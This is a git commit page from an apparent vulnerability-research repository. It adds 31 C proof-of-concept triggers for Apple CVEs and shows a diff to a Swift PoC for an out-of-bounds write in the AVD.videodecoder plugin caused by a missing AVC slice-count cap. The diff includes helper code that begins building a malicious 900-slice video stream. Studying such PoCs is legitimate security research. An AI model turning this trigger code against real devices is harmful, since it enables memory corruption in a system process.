v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -1,22 +1,8 @@
|
||||
// vid.avc · AVD.videodecoder 插件(非 kext) · CVE-2026-112416
|
||||
// 原语: OOB 写 · 系统进程 · tier 2
|
||||
// Primitive: OOB write · system process · tier 2
|
||||
//
|
||||
// [zh] AVC 切片数量上限缺失
|
||||
// 该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件,而非 kext:112416 为切片数量上限(\"too many slices!\"),112415 为
|
||||
// MVHEVC 层 ID 校验,112454 为直方图 IOSurface 指针改为随机 cookie。
|
||||
//
|
||||
// [en] AVC slice count cap missing
|
||||
// The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not
|
||||
// a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation,
|
||||
// and 112454 replaces the histogram IOSurface pointer with a random cookie.
|
||||
// ── 判别 / oracle ──
|
||||
// 经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession,
|
||||
// 以插件自身错误码判定。
|
||||
|
||||
// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
|
||||
// AVC slice count cap missing
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -37,7 +23,7 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
|
||||
// ── seed construction (from Cinder27 Sources: VideoPayload) ──
|
||||
enum VideoPayload {
|
||||
static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
|
||||
var out = Data()
|
||||
|
||||
Reference in new issue
Block a user